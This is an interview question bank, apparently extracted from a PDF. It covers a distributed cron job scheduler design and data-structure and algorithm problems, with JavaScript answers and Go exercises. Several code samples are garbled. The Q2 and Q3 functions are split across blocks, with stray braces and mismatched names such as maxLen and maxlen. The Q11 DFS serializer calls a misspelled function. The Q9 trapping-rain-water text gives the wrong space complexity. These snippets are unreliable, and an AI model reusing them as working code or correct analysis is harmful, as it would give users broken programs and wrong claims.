[M] Mid *System Design > Full System Design*

Q14: Design a job scheduler that runs distributed cron jobs reliably. Handle failures, duplicate execution prevention, and observability.

ANSWER

Requirements:

- Cron-style scheduling (*/* * * * * expressions)
- Distributed: multiple scheduler instances but each job runs EXACTLY ONCE per schedule
- Reliable: if a worker crashes mid-job, the job should be retried (but not duplicated)
- Visibility: dashboard showing last run, next run, status, duration, output
- Scale: 10K registered jobs, some running every minute

Architecture:

Job Registry:

- PostgreSQL: jobs table (job_id, name, cron_expression, handler, enabled, created_at)
- Schedule metadata: next_run_at computed on job creation and after each run

Scheduler (Trigger Layer):

Multiple scheduler instances compete. To prevent duplicate triggering:

- Distributed lock with expiry: when scheduler ticks, acquire Redis SETNX lock(scheduler_tick:{minute}) for 1 minute
- Only the scheduler that wins the lock computes which jobs are due

- For each due job: INSERT INTO job_executions (job_id, scheduled_at, status='PENDING') ON CONFLICT DO NOTHING
- Publish job_execution_id to Kafka topic "job_triggers"

Workers:

- Multiple worker instances consume from Kafka topic (consumer group)
- On receiving job_execution_id: UPDATE job_executions SET status='RUNNING', worker_id=?, started_at=NOW() WHERE id=? AND status='PENDING'
- If UPDATE affects 0 rows: another worker claimed it → skip
- Execute the job
- On success: UPDATE status='SUCCESS', completed_at=NOW(), output=?
- On failure: UPDATE status='FAILED', error=?, retry_count++; if retry_count < max_retries: re-publish to Kafka with delay

Stale Execution Detection:

A worker crashes while running a job (status='RUNNING', never completes).

- Heartbeat: running workers UPDATE job_executions SET heartbeat_at=NOW() every 30 seconds
- Reaper goroutine: every 1 minute, SELECT * FROM job_executions WHERE status='RUNNING' AND heartbeat_at < NOW()-2min → mark as FAILED and re-queue

Cron Expression Parsing:

Use a library (robfig/cron in Go) to parse cron expressions and compute next run times. Store next_run_at in the jobs table; scheduler queries WHERE next_run_at <= NOW() AND enabled=true.

Observability:

- Prometheus metrics: jobs_triggered_total, jobs_succeeded_total, jobs_failed_total, job_duration_seconds
- Dashboard: Grafana showing per-job success rate, last run time, average duration
- Alerting: job hasn't run in 2x its expected interval → alert; job failure rate > 10% → alert

Exactly-Once via DB Row Locking:

Alternative to Kafka: use SELECT FOR UPDATE SKIP LOCKED on the job_executions table:

- Worker: SELECT id FROM job_executions WHERE status='PENDING' ORDER BY scheduled_at LIMIT 1 FOR UPDATE SKIP LOCKED
- SKIP LOCKED: skip rows locked by other workers → effectively a distributed queue
- On acquiring: UPDATE status='RUNNING'
- This keeps everything in PostgreSQL — simpler but less scalable than Kafka

IMPLEMENTATION CHALLENGE

Implement the job scheduler in Go:

- JobScheduler: cron parser (robfig/cron), DB connection, Redis client
- Start(): every minute, try to acquire Redis lock → if acquired, scan jobs table for due jobs → INSERT executions → publish to Kafka
- Worker.Start(): consume from Kafka; for each message: claim execution via UPDATE ... WHERE status='PENDING'; execute handler; update status
- Job handlers: functions registered by name: map[string]JobHandler where Handler func(ctx context.Context, input json.RawMessage) error
- Heartbeat: goroutine that updates heartbeat_at every 30s for the current execution
- Reaper: goroutine that runs every minute, finds stale executions (heartbeat > 2min old), re-queues them

Built-in jobs for your Deepta AI platform:

- sync_leads_from_google_ads: every 5 minutes
- send_application_reminders: daily at 9am
- generate_university_reports: weekly Sunday midnight
- cleanup_expired_sessions: hourly

Test: register a job that fails 2 times then succeeds; verify it runs 3 times total (not more); verify two workers don't both run the same execution.

FOLLOW-UP PROBES

1. Your scheduler is down for 10 minutes. 2 jobs should have run during that time. On restart, do you run them retroactively or skip them?
2. A job that normally takes 30 seconds starts taking 5 minutes. It's still holding the RUNNING status. How does your system handle this without a reaper?
3. 1000 jobs are all scheduled for midnight Sunday. Your Kafka topic only has 10 partitions. How do you ensure all 1000 jobs start within their intended minute?
4. You need to implement a 'job dependencies' feature: Job B can only run after Job A completes. How does this change the architecture?

Category 13: DSA & Algorithms

26 questions [E] 1 [M] 13 [A] 9 [P] 3

[E] Easy DSA & Algorithms > Arrays & Strings

Q1: Given an array of integers, find the maximum sum contiguous subarray (Kadane's Algorithm). Then extend it: find the subarray itself (return indices).

ANSWER

Kadane's Algorithm:

Maintain two values: `current_sum` (best sum ending at current index) and `max_sum` (best seen so far).

For each element: `current_sum = max(nums[i], current_sum + nums[i])`

This means: either start a new subarray at `i`, or extend the existing one.

`max_sum = max(max_sum, current_sum)`

Time: $O(n)$, Space: $O(1)$.

Key insight: if `current_sum` becomes negative, it will only hurt any future subarray — so we restart from the current element.

Finding the subarray indices:

Track `start`, `end`, and a `temp_start`:

- When we restart (`nums[i] > current_sum + nums[i]`): `temp_start = i`
- When we update `max_sum`: `start = temp_start`, `end = i`

Edge cases:

- All negative numbers: return the maximum single element (Kadane's handles this because `max_sum` initializes to `nums[0]`, not 0)
- Single element: trivially the element itself
- Empty array: return 0 or throw, depending on requirements

```
function maxSubarray(nums) {
  let maxSum = nums[0], curSum = nums[0];
  let start = 0, end = 0, tempStart = 0;

  for (let i = 1; i < nums.length; i++) {
    if (nums[i] > curSum + nums[i]) {
      curSum = nums[i];
      tempStart = i;
    } else {
      curSum += nums[i];
    }
    if (curSum > maxSum) {
      maxSum = curSum;
      start = tempStart;
      end = i;
    }
  }
  return { maxSum, start, end };
}
```

IMPLEMENTATION CHALLENGE

Extend to: Maximum Product Subarray (replace sum with product — handle negatives differently). Then: Circular Maximum Subarray (array wraps around — the answer is either within the array OR the total sum minus the minimum subarray).

Constraints: solve Maximum Product Subarray in $O(n)$ time, $O(1)$ space. Hint: track both max AND min product ending at each index (a negative $\times$ negative = positive).

FOLLOW-UP PROBES

1. What if the array has all negative numbers? Does your Kadane's return the correct (least negative) value?
2. Maximum Product Subarray: [-2, 3, -4]. Walk through your algorithm step by step.
3. Circular Maximum Subarray: [5, -3, 5]. The answer wraps around. Explain your approach.
4. Now: find the maximum sum subarray of length exactly K. How does the sliding window approach differ from Kadane's?

[M] Mid DSA & Algorithms > Arrays & Strings

Q2: Given a string, find the length of the longest substring without repeating characters. Then extend to: with at most K distinct characters.

ANSWER

Sliding Window — no repeating chars:

Use two pointers (left, right) and a Set (or frequency map).

Expand right: add $s[right]$ to window.

If $s[right]$ already in window: shrink from left until duplicate is removed.

Track max window size.

```
function lengthOfLongestSubstring(s) {
  const seen = new Map(); // char -> last index
  let left = 0, maxlen = 0;

  for (let right = 0; right < s.length; right++) {
    if (seen.has(s[right]) && seen.get(s[right]) >= left) {
      left = seen.get(s[right]) + 1; // jump left past the duplicate
    }
    seen.set(s[right], right);
    maxlen = Math.max(maxlen, right - left + 1);
  }
  return maxlen;
}
```

Time: $O(n)$, Space: $O(\min(n, \text{charset_size}))$.

Trick: instead of shrinking one by one, jump left directly to $(\text{last_seen_position} + 1)$ using the Map.

At most K distinct characters:

Now shrink left when distinct count > K:

```
function longestSubstringKDistinct(s, k) {
  const freq = new Map();
  let left = 0, maxlen = 0;

  for (let right = 0; right < s.length; right++) {
    freq.set(s[right], (freq.get(s[right]) || 0) + 1);

    while (freq.size > k) {
      const lc = s[left++];
      freq.set(lc, freq.get(lc) - 1);
      if (freq.get(lc) === 0) freq.delete(lc);
    }
  }
}
```

```

    }
    maxlen = Math.max(maxLen, right - left + 1);
  }
  return maxlen;
}

```

Time: $O(n)$, Space: $O(K)$.

IMPLEMENTATION CHALLENGE

Extend to: Minimum Window Substring (find the smallest window in s that contains all characters of t). This is a harder sliding window: expand right until all chars in t are covered, then shrink left while maintaining coverage.

Constraints: $O(n)$ time, $O(|t|)$ space. Handle duplicates in t (if $t = "aab"$, you need at least 2 'a's in the window). Return the actual substring, not just its length.

FOLLOW-UP PROBES

1. Minimum Window Substring: $s = 'ADOBECODEBANC'$, $t = 'ABC'$. Walk through your algorithm — when do you shrink?
2. Your sliding window uses a Map. What's the time complexity of Map operations in JavaScript? Is $O(n)$ truly $O(n)$?
3. Longest substring with exactly K distinct characters (not at most K). How does 'exactly' change the approach?
4. Given a binary string, find the longest substring with equal 0s and 1s. Can you solve this in $O(n)$?

[M] Mid DSA & Algorithms > Arrays & Strings

Q3: Implement binary search variants: find the first occurrence, last occurrence, and search in a rotated sorted array.

ANSWER

Standard Binary Search: $O(\log n)$, works only on sorted array.

First Occurrence (leftmost position where target exists):

When we find $\text{nums}[\text{mid}] == \text{target}$, don't stop — move $\text{right} = \text{mid} - 1$ to look for earlier occurrence. Record the position.

```

function firstOccurrence(nums, target) {
  let left = 0, right = nums.length - 1, result = -1;
  while (left <= right) {
    const mid = left + Math.floor((right - left) / 2); // avoid overflow
    if (nums[mid] === target) { result = mid; right = mid - 1; }
    else if (nums[mid] < target) left = mid + 1;
    else right = mid - 1;
  }
  return result;
}

```

Last Occurrence: Same but move $\text{left} = \text{mid} + 1$ when found.

Search in Rotated Sorted Array:

Key insight: one half of the array is always sorted. Determine which half is sorted, then check if target is in that half.

```

function searchRotated(nums, target) {
  let left = 0, right = nums.length - 1;
  while (left <= right) {
    const mid = left + Math.floor((right - left) / 2);
    if (nums[mid] === target) return mid;
  }
}

```

```

    if (nums[left] <= nums[mid]) { // left half is sorted
        if (nums[left] <= target && target < nums[mid]) right = mid - 1;
        else left = mid + 1;
    } else { // right half is sorted
        if (nums[mid] < target && target <= nums[right]) left = mid + 1;
        else right = mid - 1;
    }
}
return -1;
}

```

Note: `nums[left] <= nums[mid]` (not `<`) handles duplicates edge case at the boundary.

Why `left + (right - left) / 2`? Prevents integer overflow (important in Java/C++ where int overflow wraps; less critical in JS/Python but good habit).

IMPLEMENTATION CHALLENGE

Implement: Find Minimum in Rotated Sorted Array (with and without duplicates). Then: Search a 2D Matrix where each row is sorted and first element of each row > last element of previous row — treat the 2D matrix as a flat sorted array and apply binary search.

Constraints: $O(\log(m \times n))$ for the 2D matrix search. Handle the index conversion: `row = idx / n_cols`, `col = idx % n_cols`.

FOLLOW-UP PROBES

1. Rotated sorted array with duplicates: [1, 1, 1, 0, 1]. Your algorithm returns wrong answer. Where does it break and how do you fix it?
2. Find the rotation point (the index of the minimum element) in $O(\log n)$. How is this different from finding the minimum value?
3. You need to search in a nearly-sorted array where each element is at most K positions from its sorted position. Is binary search still $O(\log n)$?
4. Implement 'Search Insert Position': return the index where the target should be inserted to maintain sorted order, $O(\log n)$.

[A] **Advanced** DSA & Algorithms > Arrays & Strings

Q4: Sliding Window Maximum: given an array and window size K , return the maximum of each window. Solve in $O(n)$.

ANSWER

Naive: $O(n \times K)$ — for each window, scan all K elements. Too slow for large K .

Optimal: Monotonic Deque ($O(n)$):

Maintain a deque of indices in decreasing order of their values (front of deque is always the max of the current window).

Rules:

1. Remove from FRONT if the front index is outside the current window (`index < i - k + 1`)
2. Remove from BACK while deque is non-empty AND `nums[deque.back] <= nums[i]` (smaller elements can never be a future maximum if a larger element enters after them)
3. Push current index to BACK
4. The FRONT of the deque is the max for the current window (once window size is reached)

```

function maxSlidingWindow(nums, k) {
    const deque = []; // stores indices
    const result = [];

```



```

for (let i = 0; i < nums.length; i++) {
  // Remove out-of-window indices from front
  while (deque.length && deque[0] < i - k + 1) deque.shift();

  // Remove smaller elements from back (they're useless)
  while (deque.length && nums[deque[deque.length - 1]] <= nums[i]) deque.pop();

  deque.push(i);

  // Start recording results once first window is complete
  if (i >= k - 1) result.push(nums[deque[0]]);
}
return result;
}

```

Time: $O(n)$ — each element is pushed and popped at most once.

Space: $O(k)$ — deque size bounded by window size.

Why monotonic? The deque maintains a decreasing monotonic sequence. The invariant is: `deque[front]` is always the index of the current window's maximum. Any index whose value is smaller than a new incoming element will NEVER be the maximum for any future window (the new element is both larger AND closer to the right).

Backend relevance: This pattern appears in: rate limiting (sliding window max requests), monitoring (max latency in rolling window), financial analysis (max stock price in K-day windows).

IMPLEMENTATION CHALLENGE

Apply this to a backend problem: Given a stream of request latencies for your Deepta AI API, find the maximum latency in every 5-second rolling window. The latencies arrive as a stream (one at a time). Implement a `RollingWindowMax` class in Go:

- `Push(latency float64, timestamp int64)`
- `GetMax() float64` (returns max of all latencies within the last 5 seconds)
- Use a deque with (latency, timestamp) pairs
- Automatically expire entries older than 5 seconds

Constraint: $O(1)$ amortized per Push and $O(1)$ GetMax; thread-safe (use `sync.Mutex`); test with a simulated 60-second stream where max changes every few seconds.

FOLLOW-UP PROBES

1. What if instead of maximum, you need the minimum of each window? How does the deque ordering change?
2. The deque implementation uses `.shift()` which is $O(n)$ in a JavaScript array. How do you implement a true $O(1)$ deque in Go?
3. Sliding window sum is trivial (add incoming, subtract outgoing). Why can't you do the same for sliding window maximum?
4. Now: find both the maximum AND minimum of each window simultaneously in $O(n)$ total. Can you use two deques?

[A] **Advanced** DSA & Algorithms > Arrays & Strings

Q5: Given an array of integers, find all pairs that sum to a target. Then extend to triplets (3Sum) and the general k-Sum.

ANSWER

Two Sum (pairs):

HashMap approach: as you iterate, check if $(\text{target} - \text{nums}[i])$ exists in the map. $O(n)$ time, $O(n)$ space.

Two Sum (sorted array — two pointers):

Sort. Left pointer at 0, right at $n-1$.

- $\text{sum} < \text{target}$: $\text{left}++$
- $\text{sum} > \text{target}$: $\text{right}--$
- $\text{sum} == \text{target}$: record pair, $\text{left}++$, $\text{right}--$ (skip duplicates)

$O(n \log n)$ due to sort, $O(1)$ extra space.

3Sum (find all unique triplets):

Sort first. Fix $\text{nums}[i]$ as the first element, then apply two-pointer two sum on the rest.

```
function threeSum(nums) {
  nums.sort((a, b) => a - b);
  const result = [];

  for (let i = 0; i < nums.length - 2; i++) {
    if (i > 0 && nums[i] === nums[i-1]) continue; // skip duplicate i
    let left = i + 1, right = nums.length - 1;

    while (left < right) {
      const sum = nums[i] + nums[left] + nums[right];
      if (sum === 0) {
        result.push([nums[i], nums[left], nums[right]]);
        while (left < right && nums[left] === nums[left+1]) left++; // skip dups
        while (left < right && nums[right] === nums[right-1]) right--; // skip dups
        left++; right--;
      } else if (sum < 0) left++;
      else right--;
    }
  }
  return result;
}
```

Time: $O(n^2)$, Space: $O(1)$ extra (excluding output).

k-Sum (generalization):

Recurse: k -Sum on array = fix one element + call $(k-1)$ -Sum on the rest. Base case: 2-Sum with two pointers.

Time: $O(n^{k-1})$ — for $k=3$: $O(n^2)$, $k=4$: $O(n^3)$.

Deduplication is the tricky part:

- Skip duplicate values for the fixed pointer (if $\text{nums}[i] == \text{nums}[i-1]$ and $i > \text{start}$, skip)
- After finding a valid pair in 2-Sum, skip duplicates on both pointers

IMPLEMENTATION CHALLENGE

Implement 4Sum in Go with full deduplication. Then implement the generalized k Sum recursively where k is given as input.

Also implement: Given an array and a target, count the number of subarrays whose sum equals the target. This uses prefix sums + HashMap:

- $\text{prefixSum}[i]$ = sum of first i elements
- Number of subarrays from j to i with $\text{sum} = \text{target}$: find how many j 's have $\text{prefixSum}[i] - \text{prefixSum}[j] == \text{target}$
→ how many j 's have $\text{prefixSum}[j] == \text{prefixSum}[i] - \text{target}$

Constraints: $O(n)$ time for the subarray count problem; full deduplication for k Sum; test with arrays containing all zeros and negative numbers.

FOLLOW-UP PROBES

1. 3Sum with duplicates like [-2, -2, 0, 0, 2, 2]. Walk through how you skip duplicates without missing valid triplets.
2. Count subarrays with sum equal to K: nums = [1, -1, 1], K = 1. Walk through the prefix sum approach.
3. 4Sum with time complexity $O(n^2)$ (better than naive $O(n^3)$). Is this achievable? Hint: hash the pair sums.
4. Closest 3Sum: find triplet whose sum is closest to target (not necessarily equal). How does the two-pointer approach change?

[M] Mid DSA & Algorithms › Linked Lists

Q6: Detect a cycle in a linked list (Floyd's algorithm). Find the cycle start node. Determine the cycle length.

ANSWER**Floyd's Cycle Detection (Tortoise & Hare):**

Two pointers: slow moves 1 step, fast moves 2 steps.

- If there's no cycle: fast reaches null
- If there's a cycle: fast laps slow, they meet inside the cycle

Phase 1 — Detect:

```
function hasCycle(head) {
  let slow = head, fast = head;
  while (fast && fast.next) {
    slow = slow.next;
    fast = fast.next.next;
    if (slow === fast) return true; // meeting point
  }
  return false;
}
```

Phase 2 — Find cycle start node:

Mathematical proof: Let F = distance from head to cycle start, C = cycle length, h = distance from cycle start to meeting point.

When they meet: slow traveled F+h, fast traveled F+h+n×C for some n.

Since fast travels 2× slow: $2(F+h) = F+h+n\times C \rightarrow F = n\times C - h$.

So F = n×C - h. Move one pointer to head, other stays at meeting point. Both advance 1 step. They meet at the cycle start.

```
function detectCycleStart(head) {
  let slow = head, fast = head;
  while (fast && fast.next) {
    slow = slow.next; fast = fast.next.next;
    if (slow === fast) {
      slow = head; // reset to head
      while (slow !== fast) { slow = slow.next; fast = fast.next; }
      return slow; // cycle start
    }
  }
  return null;
}
```

Phase 3 — Cycle length:

After finding the meeting point, keep one pointer fixed, advance the other until they meet again. Count steps = cycle length.

Why $O(1)$ space? Only two pointers regardless of list size. **Why $O(n)$ time?** Fast pointer traverses the cycle at most twice before meeting slow.

IMPLEMENTATION CHALLENGE

Implement the complete linked list utilities in Go:

- type ListNode struct { Val int; Next *ListNode }
- HasCycle(head *ListNode) bool
- DetectCycleStart(head *ListNode) *ListNode
- CycleLength(head *ListNode) int
- RemoveCycle(head *ListNode): once you find the cycle start, set the node whose next points to the start to nil (you need to traverse the cycle to find this node)

Also implement: Intersection of Two Linked Lists — find the node where two lists meet (they share a common tail). Use the length-difference approach ($O(n)$, $O(1)$ space) or the two-pointer trick (advance each pointer; when one reaches end, redirect to the other list's head — they'll meet at intersection after same total steps).

FOLLOW-UP PROBES

1. Floyd's algorithm proves they meet after $F + h$ steps for slow. Walk me through the math for why $F = nC - h$.
2. What if the linked list has a very long pre-cycle section ($F = 10^6$) and a tiny cycle ($C = 3$)? Does Floyd's still work correctly? What's the time complexity?
3. Remove the cycle from the linked list. To find the node that 'closes' the cycle, you need to find the node whose next points to the cycle start. How?
4. Detect a cycle in a directed graph (not linked list). How does DFS + coloring (white/gray/black) differ from Floyd's approach?

[M] Mid DSA & Algorithms > Linked Lists

Q7: Implement an LRU Cache with $O(1)$ get and put. This is a critical backend data structure — implement it from scratch.

ANSWER

LRU Cache = HashMap + Doubly Linked List:

- HashMap: $O(1)$ key → node lookup
- Doubly Linked List: maintains usage order (head = most recent, tail = least recent); $O(1)$ move-to-front and remove-from-tail

Implementation:

```
class LRUCache {
    constructor(capacity) {
        this.capacity = capacity;
        this.map = new Map(); // key -> node
        // Sentinel head/tail nodes (avoid null checks)
        this.head = { key: null, val: null, prev: null, next: null };
        this.tail = { key: null, val: null, prev: null, next: null };
        this.head.next = this.tail;
        this.tail.prev = this.head;
    }

    _remove(node) {
        node.prev.next = node.next;
        node.next.prev = node.prev;
    }

    _addToFront(node) {
```

```

    node.next = this.head.next;
    node.prev = this.head;
    this.head.next.prev = node;
    this.head.next = node;
}

get(key) {
    if (!this.map.has(key)) return -1;
    const node = this.map.get(key);
    this._remove(node);
    this._addToFront(node);
    return node.val;
}

put(key, val) {
    if (this.map.has(key)) {
        const node = this.map.get(key);
        node.val = val;
        this._remove(node);
        this._addToFront(node);
    } else {
        if (this.map.size === this.capacity) {
            const lru = this.tail.prev; // least recently used
            this._remove(lru);
            this.map.delete(lru.key); // must delete by KEY, not value
        }
        const node = { key, val, prev: null, next: null };
        this.map.set(key, node);
        this._addToFront(node);
    }
}
}

```

Why store key in the node? When evicting from the tail, you need to delete from the Map — and you only have the node, not the key, unless you stored it.

Why sentinel nodes? Eliminates edge cases for empty list and head/tail pointer manipulation.

IMPLEMENTATION CHALLENGE

Implement a thread-safe LRU Cache in Go for your Deepta AI Redis replacement (in-process cache):

- LRUCache[K comparable, V any] generic struct with sync.RWMutex
- Get(key K) (V, bool): acquires RLock; if found, must upgrade to Lock to move node to front (use Lock directly for simplicity, or implement lock upgrading)
- Put(key K, value V): acquires Lock; evict LRU if at capacity; add new node to front
- Add TTL: each node stores expiresAt time.Time; on Get, check expiry (return miss if expired); background goroutine evicts expired nodes every 30s
- Add metrics: hitCount, missCount, evictionCount as atomic int64

Benchmark: 100K concurrent gets/puts with -race flag — must have zero races and sub-microsecond latency on cache hits.

FOLLOW-UP PROBES

1. Your LRU cache has capacity 1000. Suddenly you want to resize it to 500 without clearing it. How do you implement Resize(newCapacity int)?
2. LFU Cache: evict least frequently used instead of least recently used. How does the data structure change? (Hint: frequency buckets with doubly linked lists per frequency)
3. Your Go LRU is protected by a single mutex. With 10K concurrent readers, this is a bottleneck. How do you implement a sharded LRU?
4. You use your LRU to cache user sessions. A user logs out — you need to immediately evict their session. You only have the user_id, not the cache key. How do you design for this?

[A] Advanced *DSA & Algorithms > Linked Lists***Q8: Merge K sorted linked lists. Analyze all approaches and implement the optimal heap-based solution.****ANSWER****Approach 1: Brute Force**

Collect all values → sort → build new list. $O(N \log N)$ time where N = total nodes. $O(N)$ space. Doesn't exploit the fact that lists are already sorted.

Approach 2: Merge Two at a Time (Sequential)

Merge list1 with list2 → result with list3 → ... → final.

If K lists each of length N/K : $O(K \times N)$ total comparisons. $O(1)$ extra space per merge. Can be slow for large K .

Approach 3: Divide and Conquer

Pair up K lists → merge pairs → repeat. Like merge sort: $\log K$ rounds, each processes N total nodes.

Time: $O(N \log K)$. Space: $O(\log K)$ recursion stack.

Approach 4: Min-Heap (Priority Queue) — Optimal:

Push the head of each of the K lists into a min-heap. Repeatedly extract the minimum, add to result, push the next node from that list.

Time: $O(N \log K)$ — each of N nodes is inserted into and extracted from a heap of size K .

Space: $O(K)$ for the heap.

```
function mergeKLists(lists) {
  // MinHeap by node value
  const heap = new MinHeap((a, b) => a.val - b.val);

  for (const list of lists) {
    if (list) heap.push(list);
  }

  const dummy = { next: null };
  let curr = dummy;

  while (!heap.isEmpty()) {
    const node = heap.pop(); // extract min
    curr.next = node;
    curr = curr.next;
    if (node.next) heap.push(node.next); // push the next node from same list
  }
  return dummy.next;
}
```

JavaScript doesn't have a built-in heap — you need to implement or use a class. In Go: use container/heap.

Why $O(N \log K)$ and not $O(N \log N)$? Because the heap always has at most K elements. Each push/pop is $O(\log K)$, not $O(\log N)$.

Backend relevance: Merging K sorted streams is a common pattern in: Kafka consumers merging partitioned sorted data, database merge joins, external merge sort (sorting data too large for memory — runs on disk are like sorted lists).

IMPLEMENTATION CHALLENGE

Implement mergeKLists in Go using container/heap for a real use case: you have K Kafka partitions, each delivering log entries sorted by timestamp. Merge them into a single chronologically ordered stream.

Go implementation:

- Define LogEntry struct { Timestamp int64; PartitionID int; Message string; NextIndex int }
- Implement heap.Interface on []LogEntry
- MergePartitions(partitions [][]LogEntry) []LogEntry: push first element of each partition; extract min; push next from same partition

Edge cases: empty partitions, single partition, all same timestamps (stable sort: preserve partition order for ties).

Extension: external merge sort — K sorted files on disk that are too large to hold in memory. How would you apply the same algorithm? What's the bottleneck?

FOLLOW-UP PROBES

1. K = 100,000 and each list has 1 element. What's faster: heap approach or sequential merge? Walk through the math.
2. Your K sorted lists are infinite streams (never end). How does the heap approach change?
3. Merge K sorted arrays (not linked lists) with O(1) extra space. Can the heap approach be adapted?
4. You have K sorted log files on disk, each 10GB. You can only hold 1GB in memory. Design the external merge sort to produce a single sorted output file.

[M] Mid DSA & Algorithms > Stacks & Queues

Q9: Implement a monotonic stack. Solve: Next Greater Element, Largest Rectangle in Histogram, and Trapping Rain Water.

ANSWER

Monotonic Stack: A stack that maintains elements in monotonically increasing or decreasing order. When a new element violates the monotonic property, pop until the property is restored.

Next Greater Element:

For each element, find the next element to its right that is greater.

Use a decreasing monotonic stack. When we see an element larger than the top: the top's "next greater" is the current element.

```
function nextGreaterElement(nums) {
  const result = new Array(nums.length).fill(-1);
  const stack = []; // stores indices
  for (let i = 0; i < nums.length; i++) {
    while (stack.length && nums[stack[stack.length-1]] < nums[i]) {
      result[stack.pop()] = nums[i];
    }
    stack.push(i);
  }
  return result; // remaining indices in stack have no greater element → -1
}
```

Largest Rectangle in Histogram:

For each bar, find the largest rectangle with that bar as the shortest.

Use a monotonically increasing stack (indices). When $\text{bar}[i] < \text{bar}[\text{top}]$, the top bar is the shortest in some rectangle.

Width = $i - \text{stack}[\text{stack.length}-2] - 1$ (or i if stack is empty).

```
function largestRectangleArea(heights) {
```



```

const stack = [-1]; // sentinel
let maxArea = 0;
for (let i = 0; i <= heights.length; i++) {
  const h = i === heights.length ? 0 : heights[i];
  while (stack[stack.length-1] !== -1 && heights[stack[stack.length-1]] >= h) {
    const height = heights[stack.pop()];
    const width = i - stack[stack.length-1] - 1;
    maxArea = Math.max(maxArea, height * width);
  }
  stack.push(i);
}
return maxArea;
}

```

Trapping Rain Water:

For each position, water level = $\min(\text{maxLeft}, \text{maxRight}) - \text{height}[i]$.

Use two-pointer approach ($O(n)$ space vs $O(n)$ precomputation):

```

function trap(height) {
  let left = 0, right = height.length - 1;
  let leftMax = 0, rightMax = 0, water = 0;
  while (left < right) {
    if (height[left] < height[right]) {
      leftMax = Math.max(leftMax, height[left]);
      water += leftMax - height[left++];
    } else {
      rightMax = Math.max(rightMax, height[right]);
      water += rightMax - height[right--];
    }
  }
  return water;
}

```

IMPLEMENTATION CHALLENGE

Implement in Go: Daily Temperatures — given daily temperatures, for each day find how many days until a warmer temperature (uses monotonic stack).

Then: Remove K Digits — given a number string, remove K digits to make the smallest possible number (uses a monotonic increasing stack, keeping the result valid).

Constraints for Remove K Digits: $O(n)$ time; handle leading zeros in result; handle case where $K \geq n$.

FOLLOW-UP PROBES

1. Largest Rectangle in Histogram: heights = [2,1,5,6,2,3]. Walk through the stack step by step.
2. Trapping Rain Water: why does the two-pointer approach work without precomputing left and right max arrays?
3. Monotonic stack for Next Greater Element in a circular array (the array wraps). How do you handle the circular nature?
4. Remove K Digits to get smallest number: '1432219', k=3. Walk through your algorithm step by step.

[M] Mid DSA & Algorithms > Stacks & Queues

Q10: Implement a Queue using two stacks. Implement a Stack using two queues. Analyze the amortized complexity of each.

ANSWER

Queue using two Stacks:

- Stack1 (input stack): push new elements
- Stack2 (output stack): pop/peek elements

On Dequeue: if Stack2 is empty, transfer ALL elements from Stack1 to Stack2 (reverses order). Then pop from Stack2.

```
class MyQueue {
    constructor() { this.s1 = []; this.s2 = []; }

    push(x) { this.s1.push(x); }

    pop() {
        if (!this.s2.length) while (this.s1.length) this.s2.push(this.s1.pop());
        return this.s2.pop();
    }

    peek() {
        if (!this.s2.length) while (this.s1.length) this.s2.push(this.s1.pop());
        return this.s2[this.s2.length - 1];
    }

    empty() { return !this.s1.length && !this.s2.length; }
}
```

Amortized $O(1)$ per operation: Each element is pushed to s1 once, popped from s1 once (during transfer), pushed to s2 once, popped from s2 once = 4 operations total per element. Over n operations: $O(4n) = O(n)$ total → $O(1)$ amortized per element.

Stack using two Queues:

More expensive. Two approaches:

- Push $O(n)$, Pop $O(1)$: on push, enqueue to q2, then move all of q1 to q2, swap q1 and q2. Newest element is always at front of q1.
- Push $O(1)$, Pop $O(n)$: on pop, move all but last element of q1 to q2, return last element, swap.

```
class MyStack { // push- $O(1)$ , pop- $O(n)$ 
    constructor() { this.q1 = []; this.q2 = []; }
    push(x) { this.q1.push(x); }
    pop() {
        while (this.q1.length > 1) this.q2.push(this.q1.shift());
        const val = this.q1.shift();
        [this.q1, this.q2] = [this.q2, this.q1]; // swap
        return val;
    }
    top() {
        while (this.q1.length > 1) this.q2.push(this.q1.shift());
        const val = this.q1[0];
        this.q2.push(this.q1.shift());
        [this.q1, this.q2] = [this.q2, this.q1];
        return val;
    }
}
```

Stack using two queues is inherently $O(n)$ per push or pop — no amortized trick can make both $O(1)$.

IMPLEMENTATION CHALLENGE

Implement a thread-safe bounded blocking queue in Go (classic producer-consumer problem):

- BoundedQueue struct with capacity, data `[]interface{}`, head/tail int, count int
- Enqueue(item interface{}) blocks if queue is full (until space is available)
- Dequeue() interface{} blocks if queue is empty (until item is available)
- Use sync.Mutex + sync.Cond (or channel-based implementation)
- TryEnqueue(item interface{}) bool: non-blocking; returns false immediately if full
- Close() closes the queue; subsequent Dequeue returns zero value + false

This is the backbone of your Kafka consumer worker pool in Deepta AI. Benchmark: 1M items, 4 producers, 4 consumers — verify all items delivered exactly once.

FOLLOW-UP PROBES

1. Why is 'Stack using two queues' always $O(n)$ for at least one operation? Prove it.
2. Your BoundedQueue uses sync.Cond. What happens if you forget to call Signal after Enqueue?
3. Implement a priority queue using two stacks (elements have integer priorities). Is $O(\log n)$ achievable?
4. Your Deepta AI Kafka consumer uses a bounded channel as a work queue. What happens when the channel is full and the producer keeps producing? Walk through the backpressure.

[M] Mid DSA & Algorithms > Trees

Q11: Serialize and deserialize a binary tree. Implement both BFS-based and DFS-based approaches.

ANSWER

Problem: Convert a binary tree to a string (serialize) and reconstruct it (deserialize). Used in: distributed caching of tree structures, storing trees in databases, sending trees over the wire.

BFS Approach (level-order):

Serialize: use a queue; for each node, output its value (or "null"); enqueue children even if null (to preserve structure).

Format: "1,2,3,null,null,4,5"

```
function serialize(root) {
  if (!root) return "null";
  const queue = [root], result = [];
  while (queue.length) {
    const node = queue.shift();
    if (node) { result.push(node.val); queue.push(node.left, node.right); }
    else result.push("null");
  }
  // trim trailing nulls
  while (result[result.length-1] === "null") result.pop();
  return result.join(",");
}

function deserialize(data) {
  if (data === "null") return null;
  const vals = data.split(",");
  const root = new TreeNode(+vals[0]);
  const queue = [root]; let i = 1;
  while (queue.length && i < vals.length) {
    const node = queue.shift();
    if (vals[i] !== "null") { node.left = new TreeNode(+vals[i]); queue.push(node.left); }
    i++;
    if (i < vals.length && vals[i] !== "null") { node.right = new TreeNode(+vals[i]);
    queue.push(node.right); }
    i++;
  }
  return root;
}
```

DFS Preorder Approach:

Serialize: preorder traversal; "null" for missing children.

Deserialize: use an index/iterator; preorder means we can reconstruct left subtree fully before right.

```
function serializeDFS(root) {
  if (!root) return "null";
```

```

    return root.val + "," + serializedDFS(root.left) + "," + serializedDFS(root.right);
}

function deserializedDFS(data) {
    const vals = data.split(","); let i = 0;
    function build() {
        if (vals[i] === "null") { i++; return null; }
